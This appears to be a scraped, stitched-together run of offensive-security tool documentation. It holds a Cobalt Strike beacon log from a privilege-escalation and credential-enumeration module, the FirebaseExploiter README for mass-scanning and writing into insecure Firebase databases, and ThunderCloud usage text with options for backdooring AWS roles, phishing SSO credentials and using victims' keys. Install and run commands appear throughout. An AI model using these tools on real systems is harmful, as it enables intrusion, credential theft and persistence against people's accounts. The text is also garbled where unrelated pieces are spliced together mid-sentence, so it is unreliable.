[03/20 00:51:06] [*] Checking For Unquoted Service Paths..
[03/20 00:51:06] [*] Checking For Autologon Registry Keys..
[03/20 00:51:06] [*] Checking For Always Install Elevated Registry Keys..
[03/20 00:51:06] [*] Checking For Modifiable Autoruns..
[03/20 00:51:06] [*] Checking For Hijackable Paths..
[03/20 00:51:06] [*] Enumerating Credentials From Credential Manager..
[03/20 00:51:06] [*] Checking For Token Privileges..
[03/20 00:51:06] [+] host called home, sent: 10485 bytes
[03/20 00:51:06] [+] received output:
Unquoted Service Path Check Result: Vulnerable service path found: c:\program files (x86)\grasssoft\macro expert\MacroService.exe
Simply load the cna file and type "privcheck"
If you want to compile by yourself you can use:make all
or x86_64-w64-mingw32-gcc -c cfile.c -o ofile.o
If you want to look for just one misconf you can use object file with "inline-execute" for example inline-execute /path/tokenprivileges.o
Mr.Un1K0d3r - Offensive Coding Portal
https://mr.un1k0d3r.world/portal/
Outflank - C2-Tool-Collection
https://github.com/outflanknl/C2-Tool-Collection
dtmsecurity - Beacon Object File (BOF) Creation Helper
https://github.com/dtmsecurity/bof_helper
Microsoft :)
https://learn.microsoft.com/en-us/windows/win32/api/
HsTechDocs by HelpSystems(Fortra)
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_how-to-develop.htm
exploit.json to upload during exploitURI path for exploitThis will display help for the CLI tool. Here are all the required arguments it supports.
FirebaseExploiter was built using go1.19. Make sure you use latest version of Go to install successfully. Run the following command to install the latest version:
go install -v github.com/securebinary/firebaseExploiter@latestTo scan a specific domain to check for Insecure Firebase DB.
To exploit a Firebase DB to write your own JSON document in it.
Create your own exploit.json file in proper JSON format to exploit vulnerable Firebase DBs.
Checking the exploited URL to verify the vulnerability.
Adding custom path for exploiting Firebase DBs.
Mass scanning for Insecure Firebase Databases from list of target hosts.
Exploiting vulnerable Firebase DBs from the list of target hosts.
FirebaseExploiter is made with love by the SecureBinary team. Any tweaks / community contribution are welcome.
Cloud Exploit Framework
python3 tc.py -h
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| | | |__ _ _ _ __ __| | ___ _ __| | | | ___ _ _ __| |
| | | '_ \| | | | '_ \ / _` |/ _ \ '__| | | |/ _ \| | | |/ _` |
| | | | | | |_| | | | | (_| | __/ | | |____| | (_) | |_| | (_| |
\_/ |_| |_|\__,_|_| |_|\__,_|\___|_| \_____|_|\___/ \__,_|\__,_|
usage: tc.py [-h] [-ce COGNITO_ENDPOINT] [-reg REGION] [-accid AWS_ACCOUNT_ID] [-aws_key AWS_ACCESS_KEY] [-aws_secret AWS_SECRET_KEY] [-bdrole BACKDOOR_ROLE] [-sso SSO_URL] [-enum_roles ENUMERATE_ROLES] [-s3 S3_BUCKET_NAME]
[-conn_string CONNECTION_STRING] [-blob BLOB] [-shared_access_key SHARED_ACCESS_KEY]
Attack modules of cloud AWS
optional arguments:
-h, --help show this help message and exit
-ce COGNITO_ENDPOINT, --cognito_endpoint COGNITO_ENDPOINT
to verify if cognito endpoint is vulnerable and to extract credentials
-reg REGION, --region REGION
AWS region of the resource
-accid AWS_ACCOUNT_ID, --aws_account_id AWS_ACCOUNT_ID
AWS account of the victim
-aws_key AWS_ACCESS_KEY, --aws_access_key AWS_ACCESS_KEY
AWS access keys of the victim account
-aws_secret AWS_SECRET_KEY, --aws_secret_key AWS_SECRET_KEY
AWS secret key of the victim account
-bdrole BACKDOOR_ROLE, --backdoor_role BACKDOOR_ROLE
Name of the backdoor role in victim role
-sso SSO_URL, --sso_url SSO_URL
AWS SSO URL to phish for AWS credentials
-enum_roles ENUMERATE_ROLES, --enumerate_roles ENUMERATE_ROLES
To enumerate and assume account roles in victim AWS roles
-s3 S3_BUCKET_NAME, --s3_bucket_name S3_BUCKET_NAME
Execute upload attack on S3 bucket
-conn_string CONNECTION_STRING, --connection_string CONNECTION_STRING
Azure Shared Access key for readingservicebus/queues/blobs etc
-blob BLOB, --blob BLOB
Azure blob enumeration
-shared_access_key SHARED_ACCESS_KEY, --shared_access_key SHARED_ACCESS_KEY
Azure shared key
* python 3
* pip
* git
- get project `git clone https://github.com/Rnalter/ThunderCloud.git && cd ThunderCloud/`
- install [virtualenv](https://virtualenv.pypa.io/en/latest/) `pip install virtualenv`
- create a python 3.6 local enviroment `virtualenv -p python3.6 venv`
- activate the virtual enviroment `source venv/bin/activate`
- install project dependencies `pip install -r requirements.txt`
- run the tool via `python tc.py --help`
Examples
python3 tc.py -sso <sso_url> --region <region>
python3 tc.py -ce <cognito_endpoint> --region <region>
